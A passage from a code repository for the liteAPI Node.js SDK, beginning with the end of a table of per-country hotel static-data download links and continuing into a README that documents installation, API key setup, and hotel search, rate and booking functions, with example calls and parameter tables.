MK | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/MK/csv/MK.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/MK/json/MK.json) | 197 | | Eswatini | SZ | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/SZ/csv/SZ.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/SZ/json/SZ.json) | 198 | | Guinea-Bissau | GW | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/GW/csv/GW.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/GW/json/GW.json) | 199 | | Malawi | MW | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/MW/csv/MW.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/MW/json/MW.json) | 200 | | Anguilla | AI | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/AI/csv/AI.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/AI/json/AI.json) | 201 | | Burkina Faso | BF | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/BF/csv/BF.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/BF/json/BF.json) | 202 | | Cayman Islands | KY | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/KY/csv/KY.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/KY/json/KY.json) | 203 | | Kosovo | XK | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/XK/csv/XK.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/XK/json/XK.json) | 204 | | Lesotho | LS | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/LS/csv/LS.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/LS/json/LS.json) | 205 | | French Guiana | GF | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/GF/csv/GF.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/GF/json/GF.json) | 206 | | Congo | CG | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/CG/csv/CG.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/CG/json/CG.json) | 207 | | Liberia | LR | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/LR/csv/LR.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/LR/json/LR.json) | 208 | | Burundi | BI | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/BI/csv/BI.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/BI/json/BI.json) | 209 | | Bhutan | BT | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/BT/csv/BT.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/BT/json/BT.json) | 210 | | Norfolk Island | NF | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/NF/csv/NF.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/NF/json/NF.json) | 211 | | Tajikistan | TJ | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/TJ/csv/TJ.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/TJ/json/TJ.json) | 212 | | Bermuda | BM | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/BM/csv/BM.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/BM/json/BM.json) | 213 | | Northern Mariana Islands | MP | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/MP/csv/MP.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/MP/json/MP.json) | 214 | | Zambia | ZM | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/ZM/csv/ZM.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/ZM/json/ZM.json) | 215 | | Sint Maarten | SX | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/SX/csv/SX.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/SX/json/SX.json) | 216 | | Macao | MO | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/MO/csv/MO.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/MO/json/MO.json) | 217 | | Guinea | GN | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/GN/csv/GN.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/GN/json/GN.json) | 218 | | Åland Islands | AX | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/AX/csv/AX.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/AX/json/AX.json) | 219 | | Federated States of Micronesia | FM | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/FM/csv/FM.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/FM/json/FM.json) | 220 | | Gibraltar | GI | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/GI/csv/GI.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/GI/json/GI.json) | 221 | | Congo (Democratic Republic of the) | CD | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/CD/csv/CD.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/CD/json/CD.json) | 222 | | Jersey | JE | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/JE/csv/JE.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/JE/json/JE.json) | 223 | | Afghanistan | AF | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/AF/csv/AF.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/AF/json/AF.json) | 224 | | Falkland Islands (Malvinas) | FK | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/FK/csv/FK.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/FK/json/FK.json) | 225 | | Cocos (Keeling) Islands | CC | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/CC/csv/CC.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/CC/json/CC.json) | 226 | | Saint Helena | SH | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/SH/csv/SH.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/SH/json/SH.json) | 227 | | South Sudan | SS | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/SS/csv/SS.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/SS/json/SS.json) | 228 | | Sudan | SD | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/SD/csv/SD.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/SD/json/SD.json) | 229 | | Chad | TD | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/TD/csv/TD.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/TD/json/TD.json) | 230 | | Niger | NE | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/NE/csv/NE.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/NE/json/NE.json) | 231 | | Montserrat | MS | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/MS/csv/MS.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/MS/json/MS.json) | 232 | | American Samoa | AS | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/AS/csv/AS.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/AS/json/AS.json) | 233 | | Saint Pierre and Miquelon | PM | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/PM/csv/PM.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/PM/json/PM.json) | 234 | | Singapore | SG | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/SG/csv/SG.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/SG/json/SG.json) | 235 | | Wallis and Futuna Islands | WF | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/WF/csv/WF.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/WF/json/WF.json) | 236 | | Nauru | NR | [CSV](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/NR/csv/NR.csv) | [JSON](https://liteapi-travel-static-data.s3.amazonaws.com/liteAPIHotels/NR/json/NR.json) | 237 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

liteAPI SDK

2 | 3 | # Table of Contents 4 | - [Table of Contents](#table-of-contents) 5 | - [Introduction](#introduction) 6 | - [Installing](#installing) 7 | - [Usage](#usage) 8 | - [Static data](#static-data) 9 | - [Suggest a list of places](#suggest-a-list-of-places) 10 | - [List of cities](#list-of-cities) 11 | - [List of Countries](#list-of-countries) 12 | - [List of available currencies](#list-of-available-currencies) 13 | - [List of hotels](#list-of-hotels) 14 | - [Hotel details](#hotel-details) 15 | - [Hotel reviews](#hotel-reviews) 16 | - [IATA code list](#iata-code-list) 17 | - [Hotel facilities](#Hotel-facilities) 18 | - [Hotel types](#Hotel-types) 19 | - [Hotel chains](#Hotel-chains) 20 | - [Booking flow](#booking-flow) 21 | - [Search](#search) 22 | - [Hotel full rates availability](#hotel-full-rates-availability) 23 | - [Book](#book) 24 | - [Hotel rate prebook](#hotel-rate-prebook) 25 | - [Hotel rate book](#hotel-rate-book) 26 | - [Booking management](#booking-management) 27 | - [Booking list](#booking-list) 28 | - [Booking retrieve](#booking-retrieve) 29 | - [Booking cancel](#booking-cancel) 30 | - [Vouchers](#vouchers) 31 | - [Retrieve vouchers](#Retrieve-vouchers) 32 | - [Voucher Details](#voucher-details) 33 | - [Create Voucher](#Create-voucher) 34 | - [Update Voucher](#Update-voucher) 35 | - [Update Voucher status](#Update-voucher-status) 36 | - [Loyalty](#Loyalty) 37 | - [Loyalty Program](#loyalty-program) 38 | - [Enable loyalty program](#Enable-loyalty-program) 39 | - [Update loyalty program](#Enable-loyalty-program) 40 | - [Fetch specific guest](#Fetch-specific-guest) 41 | - [Fetch guest's bookings](#Fetch-guest's-bookings) 42 | - [Analytics](#Analytics) 43 | - [Retrieve weekly analytics](#Retrieve-weekly-analytics) 44 | - [Retrieve detailed analytics report](#Retrieve-detailed-analytics-report) 45 | - [Retrieve market analytics](#Retrieve-market-analytics) 46 | - [Most booked hotels](#Most-booked-hotels) 47 | - [Example Project](#example-project) 48 | 49 | # Introduction 50 | [liteAPI](https://www.liteapi.travel/) is an innovative and robust collection of infrastructure APIs that cater to the travel industry. It is designed to empower developers, offering them the fastest way to build and launch comprehensive travel applications. 51 | 52 | At the heart of LiteAPI's power is its extensive network of over 2 million properties worldwide. By incorporating LiteAPI into an app, developers can effortlessly tap into the vast inventory, allowing users to search and book accommodations at these properties. 53 | 54 | But that's not all. With LiteAPI, monetization is made even more simple. Developers can generate revenue through their hospitality products by selling accommodations from LiteAPI's broad portfolio of properties. This means that not only can developers launch their products quickly, they can also start generating profits in no time. 55 | 56 | LiteAPI opens up a range of powerful functions for travel and hospitality applications. Its features include: 57 | 58 |

Hotel Search:

Developers can incorporate a robust search function that allows users to find hotels based on their preferred destination. This can help users discover accommodations that suit their travel plans. 59 |

60 |

Static Content for Hotels:

LiteAPI also provides access to static content for hotels, including descriptions, images, and amenity details. This is essential for developers to present comprehensive and accurate information to the end users, aiding their decision-making process. 61 |

62 |

Room Rates & Availability:

One of the most significant features of LiteAPI is the ability to pull data on room rates and availability for a selected set of hotels. This feature ensures users have real-time, accurate information to assist in their booking decisions. 63 |

64 |

Hotel Booking:

Beyond just providing information, LiteAPI also allows developers to integrate a seamless booking function. Users can select a specific hotel with room availability and proceed to make a booking directly within the app. 65 |

66 |

Booking Management:

With LiteAPI, managing bookings becomes a straightforward task. The booking management functions allow for the tracking and management of all bookings made through the app, ensuring users can keep track of their travel plans. 67 |

68 |

Booking Retrieval and Cancellation:

LiteAPI offers the capability to retrieve and cancel existing bookings. This added flexibility is crucial for users who might need to alter their travel plans. 69 |

70 | All these features make LiteAPI a comprehensive solution for travel app development, offering a plethora of functionalities, from search and booking to management and cancellation. Developers can harness these powerful tools to create high-quality, user-friendly travel applications. 71 |

72 |

Vouchers:

LiteAPI allows developers to manage and retrieve vouchers, adding an extra layer of value to users by offering discounts or special offers through the app. 73 |

74 |

Loyalty Program:

A comprehensive loyalty system within liteAPI, which includes guest tracking, loyalty points accrual, and retrieval of guest booking history and information via a unique guestId. 75 |

76 |

API: Analytics:

Lastly, LiteAPI allows you to fetch analytics data within a specified date range, including weekly detailed, and market reports. It also retrieves data on the most booked hotels during the specified period. 77 |

78 | 79 | 80 | Don't have an account yet? Sign Up [Here](https://dashboard.liteapi.travel/register/). 81 | 82 | # Installing 83 | 84 | Install the package using the following npm or yarn commands: 85 | 86 | ```sh 87 | npm install liteapi-node-sdk 88 | # or 89 | yarn add liteapi-node-sdk 90 | ``` 91 | 92 | # Usage 93 | 94 | After you have installed the LiteAPI package, you need to configure it with your API key. The API key is available in the [liteAPI Dashboard](https://dashboard.liteapi.travel/apikeys/). Here's the step to add the API key to the package. 95 | 96 | ```js 97 | const liteApi = require('liteapi-node-sdk')(YOUR_API_KEY); 98 | ``` 99 | 100 | # Static data 101 | 102 | Static data can be directly fetched from the functions below. Alternatively, LiteAPI also provides an option to download static data directly from the [Github URL](STATICDATA.md). 103 | 104 | ## Suggest a list of places 105 | The `getPlaces` function look up for a list of places and areas, given a search query. Places can be used to search for hotels within a location and restrict the list to results within the boundaries of a selected place. 106 | 107 | *

Example :

108 | ```js 109 | const result = await liteApi.getPlaces('Manhattan'); 110 | ``` 111 | 112 | *

Parameters :

113 | 114 | Name | Type | Description | Notes 115 | ------------- | ------------- | ------------- | ------------- 116 | **textQuery** | **string**| Search query. e.g. 'Manhattan' | [required] 117 | **type** | **string**| Restricts the results to places matching the specified type. e.g. 'hotel' | [optional] 118 | **language** | **string**| The language code, indicating in which language the results should be returned. e.g. 'en' | [optional] 119 | 120 | *

Return type :

121 | 122 | An array of city objects containing the following properties: 123 | 124 | Field | Type | Description 125 | ------|------|------------ 126 | **data** | **object** | An array of the suggested places. 127 | 128 |
129 | 130 | ## List of cities 131 | 132 | The getCitiesByCountryCode function returns a list of city names from a specific country. The country codes must be in ISO-2 format. To get the country codes in ISO-2 for all countries please use the getCountries function. 133 | 134 | *

Example :

135 | ```js 136 | const countryCode = "IT"; 137 | const result = await liteApi.getCitiesByCountryCode(countryCode); 138 | ``` 139 | *

Parameters :

140 | 141 | 142 | Name | Type | Description | Notes 143 | ------------- | ------------- | ------------- | ------------- 144 | **countryCode** | **string**| Country code in iso-2 format (example: US) | [required] 145 | 146 | *

Return type :

147 | 148 | An array of city objects containing the following properties: 149 | 150 | Field | Type | Description 151 | ------|------|------------ 152 | **city** | **string** | The name of the city. 153 | 154 |
155 | 156 | ## List of Countries 157 | 158 | The getCountries function returns the list of countries available along with its ISO-2 code. 159 | 160 | *

Example :

161 | ```js 162 | const result = await liteApi.getCountries(); 163 | ``` 164 | *

Parameters :

165 | 166 | The function does not need any additional parameter. 167 | 168 | *

Return type :

169 | 170 | An array of country objects containing the following properties: 171 | 172 | Field | Type | Description 173 | ------|------|------------ 174 | **code** | **string** | The country code in iso-2 format. 175 | **name** | **string** | The name of the country. 176 | 177 |
178 | 179 | ## List of available currencies 180 | 181 | The getCurrencies function returns all available currency codes along with its name and the list of supported countries that the currency applies to. 182 | 183 | *

Example :

184 | ```js 185 | const result = await liteApi.getCurrencies(); 186 | ``` 187 | *

Parameters :

188 | 189 | This function does not need any additional parameters. 190 | 191 | *

Return type :

192 | 193 | An array of currency objects containing the following properties: 194 | 195 | | Name | Type | Description | 196 | | -------- | ----- | ----------------------------------------------------------- | 197 | | **code** | **string** | The currency code. | 198 | | **currency** | **string** | The name of the currency. | 199 | | **countries** | **Array** | An array of countries where the currency is used. | 200 | 201 |
202 | 203 | ## List of hotels 204 | 205 | The `getHotels` function returns a list of hotels available based on different search criterion. 206 | The API supports additional search criteria such as city name, geo coordinates, and radius. 207 | This function provides detailed hotel metadata, including names, addresses, ratings, amenities, and images, facilitating robust hotel search and display features within applications. 208 | 209 | *

Example :

210 | ```js 211 | const result = await liteApi.getHotels({ 212 | countryCode: 'IT', 213 | cityName: 'Rome' 214 | }); 215 | ``` 216 | 217 | Please refer to the [documentation of this endpoint](https://docs.liteapi.travel/reference/get_data-hotels) for the full list of parameters and their descriptions. 218 | 219 | 220 | *

Return type :

221 | 222 | An array of hotel objects containing the following properties: 223 | 224 | | Name | Type | Description | 225 | | --------------- | ------ | --------------------------------------------------------------------------------------------------------- | 226 | | **id** | **string** | The unique identifier of the hotel. | 227 | | **name** | **string** | The name of the hotel. | 228 | | **hotelDescription**| **string** | The description of the hotel. | 229 | | **currency** | **string** | The currency used in the hotel. | 230 | | **country** | **string** | The country code of the hotel. | 231 | | **city** | **string** | The city where the hotel is located. | 232 | | **latitude** | **number** | The latitude coordinates of the hotel's location. | 233 | | **longitude** | **number** | The longitude coordinates of the hotel's location. | 234 | | **address** | **string** | The address of the hotel. | 235 | | **zip** | **string** | The postal code of the hotel. | 236 | | **main_photo** | **string** | The URL of the main photo of the hotel. | 237 | | **stars** | **number** | The star rating of the hotel. | 238 | 239 |
240 | 241 | ## Hotel details 242 | 243 | The getHotelDetails function returns all the static contents details of a hotel or property when given a hotel ID. The static content includes name, description, address, amenities, cancellation policies, images and more. 244 | 245 | 246 | *

Example :

247 | ```js 248 | const hotelID = "lp24373"; 249 | const result = await liteApi.getHotelDetails(hotelID); 250 | ``` 251 | *

Parameters :

252 | Name | Type | Description | Notes 253 | ------------- | ------------- | ------------- | ------------- 254 | **hotelId** | **string**| Unique ID of a hotel | [required] 255 | 256 | *

Return type :

257 | 258 | | Name | Type | Description | 259 | | --------------- | ------ | --------------------------------------------------------------------------------------------------------- | 260 | | **id** | **string** | The unique identifier of the hotel. | 261 | | **name** | **string** | The name of the hotel. | 262 | | **hotelDescription** | **string** | The description of the hotel. | 263 | | **checkinCheckoutTimes** | **Object** | An object containing the check-in and check-out times of the hotel. | 264 | |          **checkout** | **string** | The check-out time of the hotel. | 265 | |          **checkin** | **string** | The check-in time of the hotel. | 266 | | **hotelImages** | **Array** | An array of hotel image objects containing the following properties: | 267 | |          **url** | **string** | The URL of the hotel image. | 268 | |         **thumbnailUrl** | **string** | The thumbnail URL of the hotel image. | 269 | |          **caption** | **string** | The caption of the hotel image. | 270 | |          **order** | **string** | The order of the hotel image (null if not applicable). | 271 | |          **defaultImage** | **boolean** | Indicates whether the hotel image is the default image or not. | 272 | | **currency** | **string** | The currency used in the hotel. | 273 | | **country** | **string** | The country code of the hotel. | 274 | | **city** | **string** | The city where the hotel is located. | 275 | | **starRating** | **number** | The star rating of the hotel. | 276 | | **location** | **Object** | An object containing the latitude and longitude coordinates of the hotel's location. | 277 | |          **latitude** | **number** | The latitude coordinate of the hotel's location. | 278 | |          **longitude** | **number** | The longitude coordinate of the hotel's location. | 279 | | **address** | **string** | The address of the hotel. | 280 | | **zip** | **string** | The postal code of the hotel. | 281 | | **chainId** | **string** | The unique identifier of the hotel chain. | 282 | | **hotelFacilities** | **Array** | An array of hotel facilities offered by the hotel. | 283 | 284 |
285 | 286 | ## Hotel reviews 287 | 288 | The getHotelReviews function returns a list of reviews for a specific hotel identified by hotelId. The number of reviews returned is limited by the limit parameter. 289 | 290 | 291 | *

Example :

292 | 293 | ```js 294 | const result = await liteApi.getHotelReviews("lp24373", 200, true); 295 | ``` 296 | 297 | *

Parameters :

298 | Name | Type | Description | Notes 299 | -------------------- | ------------- | -------------------------------------------------------------------------- | ------------- 300 | **hotelId** | **string** | Unique ID of a hotel | [required] 301 | **limit** | **number** | Number of reviews to retrieve | [required] 302 | **getSentiment** | **boolean** | If set to true, the sentiment analysis of the review text will be returned | [required] 303 | 304 |
305 | 306 | ## IATA code list 307 | 308 | The getIataCodes function returns the IATA (International Air Transport Association) codes for all available airports along with the name of the airport, geographical coordinates and country code in ISO-2 format. 309 | 310 | 311 | *

Example :

312 | ```js 313 | const result = await liteApi.getIataCodes(); 314 | ``` 315 | *

Parameters :

316 | 317 | This function does not need any additional parameters. 318 | 319 | *

Return type :

320 | 321 | An array of IATA objects with the following properties: 322 | 323 | | Name | Type | Description | 324 | | ----------- | ------ | ------------------------------------------------ | 325 | | **code** | **string** | The IATA code. | 326 | | **name** | **string** | The name of the IATA. | 327 | | **latitude** | **number** | The latitude coordinates of the IATA. | 328 | | **longitude** | **number** | The longitude coordinates of the IATA. | 329 | | **countryCode** | **string** | The country code of the IATA. | 330 | 331 |
332 | 333 | ## Hotel facilities 334 | 335 | The API returns the list of hotel facilities available in the system. 336 | 337 | 338 | *

Example :

339 | ```js 340 | const result = await liteApi.getHotelFacilities(); 341 | ``` 342 | *

Parameters :

343 | 344 | This function does not need any additional parameters. 345 | 346 | *

Return type :

347 | 348 | An array of facilities with the following properties: 349 | 350 | name | Type | Description 351 | -----------|------------|------------ 352 | **status** | **string** | Status of the operation. 353 | **data** | **object** | Details of the hotel facilities. 354 |
355 | 356 | ## Hotel types 357 | 358 | The API returns a list of available hotel types 359 | 360 | 361 | *

Example :

362 | ```js 363 | const result = await liteApi.getHotelTypes(); 364 | ``` 365 | *

Parameters :

366 | 367 | This function does not need any additional parameters. 368 | 369 | *

Return type :

370 | 371 | An array of hotel types with the following properties: 372 | 373 | name | Type | Description 374 | -----------|------------|------------ 375 | **status** | **string** | Status of the operation. 376 | **data** | **object** | Details of the hotel types. 377 | 378 |
379 | 380 | ## Hotel chains 381 | 382 | The API returns a list of available hotel chains 383 | 384 | *

Example :

385 | ```js 386 | const result = await liteApi.getHotelChains(); 387 | ``` 388 | *

Parameters :

389 | 390 | This function does not need any additional parameters. 391 | 392 | *

Return type :

393 | 394 | An array of hotel chains with the following properties: 395 | 396 | name | Type | Description 397 | -----------|------------|------------ 398 | **status** | **string** | Status of the operation. 399 | **data** | **object** | Details of the hotel chains. 400 | 401 |
402 | # Booking flow 403 | 404 | liteAPI offers a comprehensive and simple way to implement Hotel Booking flow. The booking flow consists of 3 sections: Search, Book, and booking management. 405 | 406 |
407 | 408 | ## Search 409 | 410 | 411 | ### Hotel full rates availability 412 | ------ 413 | The getFullRates function return the rates of all available rooms along with its cancellation policies for a list of hotel ID's based on the search dates. 414 | 415 | *

Example :

416 | ```js 417 | const result = await liteApi.getFullRates({ 418 | checkin: "2023-07-15", 419 | checkout: "2023-07-16", 420 | currency: "USD", 421 | guestNationality: "US", 422 | hotelIds: ["lp3803c", "lp1f982", "lp19b70", "lp19e75"], 423 | occupancies: [ 424 | { 425 | rooms: 1, 426 | adults: 2, 427 | children: [2, 3] 428 | } 429 | ] 430 | }); 431 | ``` 432 | 433 | *

Parameters :

434 | 435 | Name | Type | Description | Notes 436 | ------------- | ------------- | ------------- | ------------- 437 | **hotelIds** | **array of strings**| List of hotelIds | [required] 438 | **checkin** | **string**| Check in data in YYYY-MM-DD format | [required] 439 | **checkout** | **string**| Check out data in YYYY-MM-DD format | [required] 440 | **currency** | **string**| Currency code - example (USD) | [required] 441 | **guestNationality** | **string**| Guest nationality ISO-2 code - example (SG) | [required] 442 | **occupancies** | **array of objects**| Occupancies | [required] 443 | **guestId** | **string**| Unique traveler ID if available | [optional] 444 | 445 | *

Return type :

446 | 447 | An array of hotel full rates with the following properties for each `roomType`: 448 | 449 | | Name | Type | Description | 450 | | ------------ | ------ | ------------------------------------------------ | 451 | | **offerId** | **string** | The offer for this rate. To be used when calling the prebook endpoint | 452 | | **roomTypeId** | **string** | The ID of the room type. | 453 | | **supplier** | **string** | The name of the supplier. | 454 | | **supplierId** | **number** | The ID of the supplier. | 455 | | **rates** | **Array** | An array of rate objects containing the pricing and details for each rate within the room type. | 456 | |          **rateId** | **string** | The ID of the rate. | 457 | |          **name** | **string** | The name of the rate. | 458 | |          **maxOccupancy** | **number** | The maximum occupancy of the room. | 459 | |          **boardType** | **string** | The type of board included (e.g., Bed Only). | 460 | |          **boardName** | **string** | The name of the board (e.g., Bed Only). | 461 | |          **priceType** | **string** | The type of pricing (e.g., commission). | 462 | |          **commission** | **Array** | An array of commission objects containing the commission amount and currency. | 463 | |          **retailRate** | **Object** | An object containing the retail rate information, including total price, MSP (Marked Selling Price), and taxes and fees. | 464 | |                  **total** | **Array** | An array of total price objects containing the amount and currency. | 465 | |                  **msp** | **Array** | An array of MSP (Marked Selling Price) objects containing the amount and currency. | 466 | |                  **taxesAndFees** | **Array** | An array of taxes and fees objects containing information about included or additional charges. | 467 | |          **cancellationPolicies** | **Object** | An object containing cancellation policy information. | 468 | |              **cancelPolicyInfos** | **Array** | An array of cancellation policy info objects containing information about cancellation time, amount, currency, and type. | 469 | |              **hotelRemarks** | **Array** | An array of hotel remarks. | 470 | |              **refundableTag** | **string** | The tag indicating if the rate is refundable or non-refundable. | 471 | 472 | 473 |
474 | 475 | ## Book 476 | 477 | ### Hotel rate prebook 478 | ------ 479 | 480 | The preBook function is used to confirm if the room rates are still available before a booking function can be called. The input to the function is an object that maps to the available options in the API documentation for the prebook endpoint. 481 | The function returns a prebook Id, a new rate Id and also contains information if the price, cancellation policy or boarding information changed. 482 | 483 | *

Example :

484 | ```js 485 | const offerId = ["abcde123"]; 486 | const result = await liteApi.preBook({ offerId, usePaymentSdk: true, voucherCode: "1234" }); 487 | ``` 488 | *

Parameters :

489 | 490 | Name | Type | Description | Notes 491 | ------------- | ------------- | ------------- | ------------- 492 | **data** | **object** | the input parameters for the API request | [required] 493 | 494 | *

Return type :

495 | 496 | An object containing prebook information and room type details. 497 | 498 | | Name | Type | Description | 499 | | ------------------------- | ------ | ------------------------------------------------------------------------------------------------------ | 500 | | **prebookId** | **string** | The ID of the prebook. | 501 | | **hotelId** | **string** | The ID of the hotel. | 502 | | **currency** | **string** | The currency used for pricing. | 503 | | **termsAndConditions** | **string** | The terms and conditions (if available). | 504 | | **roomTypes** | **Array** | An array of room type objects containing the following properties: | 505 | |          **rates** | **Array** | An array of rate objects containing pricing and details for each rate within the room type. | 506 | |                  **rateId** | **string** | The ID of the rate. | 507 | |                  **name** | **string** | The name of the rate. | 508 | |                  **maxOccupancy** | **number** | The maximum occupancy of the room. | 509 | |                  **boardType** | **string** | The type of board included (e.g., Bed Only). | 510 | |                  **boardName** | **string** | The name of the board (e.g., Bed Only). | 511 | |                  **priceType** | **string** | The type of pricing (e.g., commission). | 512 | |                  **commission** | **Object** | An array of commission objects containing the commission amount and currency. | 513 | |                  **retailRate** | **Object** | An object containing the retail rate information, including total price, MSP (Marked Selling Price), and taxes and fees. | 514 | |                           **total** | **Object** | An array of total price objects containing the amount and currency. | 515 | |                           **msp** | **Object** | An array of MSP (Marked Selling Price) objects containing the amount and currency. | 516 | |                           **taxesAndFees** | **Object** | An array of taxes and fees objects containing information about included or additional charges. | 517 | |                  **cancellationPolicies** | **Object** | An object containing cancellation policy information. | 518 | |                           **cancelPolicyInfos** | **Object** | An array of cancellation policy info objects containing information about cancellation time, amount, and type. | 519 | |                           **hotelRemarks** | **Array** | An array of hotel remarks. | 520 | |                           **refundableTag** | **string** | The tag indicating if the rate is refundable or non-refundable. | 521 | | **msp** | **number** | The Marked Selling Price (MSP) for the prebook. | 522 | | **commission** | **number** | The commission amount for the prebook. | 523 | | **price** | **number** | The price of the prebook. | 524 | | **priceType** | **string** | The type of pricing (e.g., commission). | 525 | | **priceDifferencePercent**| **number** | The percentage difference between the retail rate and the Marked Selling Price (MSP). | 526 | | **cancellationChanged** | **boolean** | Indicates if there were changes to the cancellation policy. | 527 | | **boardChanged** | **boolean** | Indicates if there were changes to the board type. | 528 | | **supplier** | **string** | The name of the supplier. | 529 | | **supplierId** | **number** | The ID of the supplier. | 530 | 531 | 532 |
533 | 534 | ### Hotel rate book 535 | ------ 536 | 537 | The book function confirms a booking when the prebook Id and the rate Id from the pre book stage along with the guest and payment information are passeed. 538 | 539 | The guest information is an object that should include the guest first name, last name and email. 540 | 541 | The payment information is an object that should include the name, credit card number, expiry and CVC number. 542 | 543 | The response will confirm the booking along with a booking Id and a hotel confirmation code. It will also include the booking details including the dates, price and the cancellation policies. 544 | 545 | *

Example :

